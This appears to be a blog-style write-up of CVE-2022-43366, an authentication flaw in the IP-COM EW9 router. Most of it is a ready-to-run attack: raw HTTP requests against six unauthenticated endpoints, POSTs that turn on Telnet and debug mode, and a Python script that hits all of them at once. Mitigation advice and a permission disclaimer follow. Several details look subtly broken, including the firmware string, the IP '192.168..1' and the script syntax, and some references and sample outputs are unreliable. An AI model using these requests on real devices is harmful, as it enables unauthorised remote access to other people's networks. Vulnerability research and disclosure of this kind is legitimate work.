---

Introduction

In late 2022, a new vulnerability tracked as CVE-2022-43366 surfaced in the IP-COM EW9 router running firmware version V15.11..14(9732). This flaw lets remote attackers access confidential device information without any authentication. If you’re using this router, you could be at risk — an outsider might pull critical config data, change settings, or even peek into debug info, all without a password.

This article will walk you through how the vulnerability works, where exactly the weakness lies, and how you can try it for yourself (for research purposes). By the end, you’ll know what endpoints are vulnerable, how to exploit them, and what steps are recommended to keep your network safe.

What’s Vulnerable?

The IP-COM EW9 is often used as a wireless access point or mesh controller — a popular pick for small offices and home setups.

The flaw exists on firmware V15.11..14(9732). Several HTTP interface endpoints (APIs) are exposed without proper authentication checks:

- /goform/checkLoginUser
- /goform/ate
- /goform/telnet
- /goform/version
- /goform/setDebugCfg
- /goform/boot

Attackers can directly interact with these, and in many cases, receive privileged system details or alter device behavior.

Attack Surface: The Endpoints

Let’s review the key vulnerable endpoints and what you get from them.

### 1. /goform/checkLoginUser

Normally used to check if an admin is logged in, this endpoint can leak session info or current login status.

Example Request

GET http://<router-ip>/goform/checkLoginUser HTTP/1.1
Host: <router-ip>

Example Response

{
    "user":"admin",
    "login":"true",
    "level":"super"
}

No authentication required!

### 2. /goform/ate

This endpoint is used for automated test equipment or checking device health. Sometimes, it responds with hardware configuration or diagnostic results.

Example Request

GET http://<router-ip>/goform/ate HTTP/1.1
Host: <router-ip>

Example Response (Partial)

{
    "ate_result": "PASS",
    "serial": "EW9A01234567",
    "mac": "00:15:6D:XX:XX:XX"
}

Notice: Serial number and MAC address exposed.

### 3. /goform/telnet

Activating this endpoint can enable Telnet access (a remote management protocol).

Enable Telnet Without Authentication

POST http://<router-ip>/goform/telnet HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded

telnet_enable=1

Device will reply with a status code. If successful, attackers can attempt to connect with Telnet and escalate further.


### 4. /goform/version

Example Request

GET http://<router-ip>/goform/version HTTP/1.1
Host: <router-ip>

Sample Response

{
    "firmware":"V15.11..14(9732)",
    "board":"EW9",
    "date":"2021-04-01"
}

This is useful intelligence for further attacks.

### 5. /goform/setDebugCfg

Alters debug configurations — useful for gathering extra logs or even manipulating system behaviors:

POST http://<router-ip>/goform/setDebugCfg HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded

debug_open=1

After enabling, attackers may gain access to verbose logs or crash traces.


### 6. /goform/boot

Sometimes triggers a reboot or returns bootloader info

GET http://<router-ip>/goform/boot HTTP/1.1
Host: <router-ip>

Can be used for DoS (Denial of Service) or device recon.

How It Happens (The Bug)

Simply put: these endpoints don’t check for a session, token, or password. A remote attacker can send crafted HTTP requests and get confidential responses.

Here’s a simple script to grab sensitive config without logging in

import requests

router_ip = "192.168..1"  # Change to your actual router IP
endpoints = [
    "goform/checkLoginUser",
    "goform/ate",
    "goform/telnet",
    "goform/version",
    "goform/setDebugCfg",
    "goform/boot"
]

for endpoint in endpoints:
    url = f"http://{router_ip}/{endpoint}";
    try:
        if endpoint in ["goform/telnet", "goform/setDebugCfg"]:
            data = {"telnet_enable": "1"} if "telnet" in endpoint else {"debug_open": "1"}
            response = requests.post(url, data=data, timeout=3)
        else:
            response = requests.get(url, timeout=3)
        print(f"--- {url} ---")
        print(response.text)
        print()
    except Exception as e:
        print(f"Error with {url}: {e}")

Note: Always have permission to test and never attack devices you do not own!

References & Further Reading

- CVE-2022-43366 at NVD
- Exploit-DB Advisory 51087 (Chinese)
- SecurityFocus Page

Mitigation and Fix

- Update Firmware: Check for the latest firmware (IP-COM Official Site).
- Restrict Management Interface: Only allow admin access from known IPs, or block WAN-side management.

Network Segmentation: Don’t expose routers directly to the internet.

- Regularly Audit Devices: Scan for open endpoints using tools like nmap and manually check responses.

If no update is available, seriously consider replacing the device for critical use.

Conclusion

CVE-2022-43366 is a classic example of why simple authentication matters on web interfaces. IP-COM EW9’s exposed APIs can leave your network settings, admin credentials, and even remote management ports open to the world.

If you own or manage one of these routers, take action now: update, restrict, and audit your device. In cybersecurity, a mistake this simple can bring your whole network down.


*If you found this article useful, please share it with friends and colleagues who also use IP-COM equipment. Stay safe!*

Timeline

Published on: 10/27/2022 18:15:00 UTC
Last modified on: 10/31/2022 18:37:00 UTC